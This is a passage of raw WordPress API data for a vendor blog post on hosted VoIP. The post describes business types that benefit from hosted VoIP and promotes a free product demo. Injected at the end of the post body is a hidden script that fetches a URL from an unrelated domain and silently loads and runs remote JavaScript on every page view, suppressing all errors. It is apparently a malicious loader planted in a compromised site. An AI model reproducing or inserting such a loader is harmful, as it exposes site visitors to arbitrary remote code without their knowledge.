Hosted VoIP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Hosted VoIP can help various types of businesses enhance their communication capabilities. Here are examples of some specific types of businesses:<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"1_Small_to_Medium_Sized_Businesses\"><\/span>1. Small to Medium Sized Businesses<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The cost-savings and scalability offered by hosted VoIP are often valued by SMBs. Moreover, the simplicity and quick deployment of this service makes it a preferred choice.\u00a0\u00a0<\/span><\/p>\n<p><b>Example:<\/b><span style=\"font-weight: 400;\"> A small marketing agency can establish a professional communication system using hosted VoIP without needing to make any large investments in the infrastructure.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"2_Remote_and_Distributed_Teams\"><\/span>2. Remote and Distributed Teams<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hosted VoIP is an ideal fit for teams that are dispersed and work remotely. They need tools and functionalities that can help them communicate and collaborate with ease. VoIP offers all such features as video conferencing, instant messaging, etc.\u00a0<\/span><\/p>\n<p><b>Example: <\/b><span style=\"font-weight: 400;\">A tech startup with remote employees can benefit from VoIP by conducting virtual meetings and supporting flexible work arrangements.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"3_Customer_Support_and_Call_Centers\"><\/span>3. Customer Support and Call Centers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These types of businesses encounter customer queries daily. Auto attendant, call routing, and call forwarding are some of the features offered by VoIP that can help call centers handle queries efficiently.\u00a0<\/span><\/p>\n<p><b>Example:<\/b><span style=\"font-weight: 400;\"> A customer support center handling queries for an e-commerce platform can manage customer queries using hosted VoIP.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"4_Professional_Services\"><\/span>4. Professional Services<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Consulting businesses can greatly benefit from hosted VoIP. Features like call recording and voicemail-to-email can help deliver better service to customers and comply with lawful regulations.\u00a0<\/span><\/p>\n<p><b>Example: <\/b><span style=\"font-weight: 400;\">A law firm or accounting consultancy can keep track of customer interactions using features of hosted VoIP.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"5_Hospitality_Services\"><\/span>5. Hospitality Services<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hosted VoIP can be of great value for businesses in the hospitality industry. They can leverage hosted VoIP for internal and external communication using features like auto attendant and call queues.\u00a0<\/span><\/p>\n<p><b>Example: <\/b><span style=\"font-weight: 400;\">A Hotel business can use the auto attendant feature to make reservations for guests.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"6_Educational_Institutions\"><\/span>6. Educational Institutions<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">VoIP can deliver great value when used for managing administrative work, communication between the faculty, and parent-teacher communication.\u00a0<\/span><\/p>\n<p><b>Example:<\/b><span style=\"font-weight: 400;\"> Schools, colleges, and universities can conduct virtual classes using the hosted VoIP solutions.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"7_Healthcare_Services\"><\/span>7. Healthcare Services<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Healthcare providers can utilize hosted VoIP to schedule patient appointments and internal collaboration among medical staff.\u00a0<\/span><\/p>\n<p><b>Example:<\/b><span style=\"font-weight: 400;\"> A medical facility can integrate its electronic patient record with a hosted VoIP system to streamline patient care.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Top_10_Hosted_VoIP_Providers\"><\/span>Top 10 Hosted VoIP Providers<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4238 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/voip-service-providers-1.jpg\" alt=\"voip service providers\" width=\"751\" height=\"459\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Migrating_to_Hosted_VoIP\"><\/span>Migrating to Hosted VoIP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Adopting a new technology may seem daunting, but through this article, we have ensured to dispel those fears. Now that you are familiar with the myriad of benefits of hosted VoIP and the top hosted VoIP providers, you can easily navigate the whole migration process. As a leading hosted VoIP provider, <\/span><a href=\"https:\/\/www.revesoft.com\/products\/cloud-telephony\"><span style=\"font-weight: 400;\">REVE Cloud Telephony<\/span><\/a><span style=\"font-weight: 400;\"> offers a valuable opportunity to interested customers &#8211; <\/span><a href=\"https:\/\/www.revesoft.com\/products\/cloud-telephony#free_demo_form\"><span style=\"font-weight: 400;\">A complimentary and fully assisted demo<\/span><\/a><span style=\"font-weight: 400;\">. Take advantage of this opportunity to learn about a robust and reliable hosted VoIP solution.\u00a0<\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Steve Jobs once said, &#8220;Innovation distinguishes between a leader and a follower.&#8221; In today&#8217;s modern communication world, Hosted VoIP stands as a pioneer. Those bulky on-premise telephony systems are now a thing of the past, Hosted VoIP has grabbed the spotlight. The latest market assessment estimates that the projected market size of the VoIP industry [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":4284,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[79],"tags":[],"class_list":["post-4227","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cloud-telephony"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=4227"}],"version-history":[{"count":8,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4227\/revisions"}],"predecessor-version":[{"id":6412,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4227\/revisions\/6412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/4284"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=4227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=4227"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=4227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}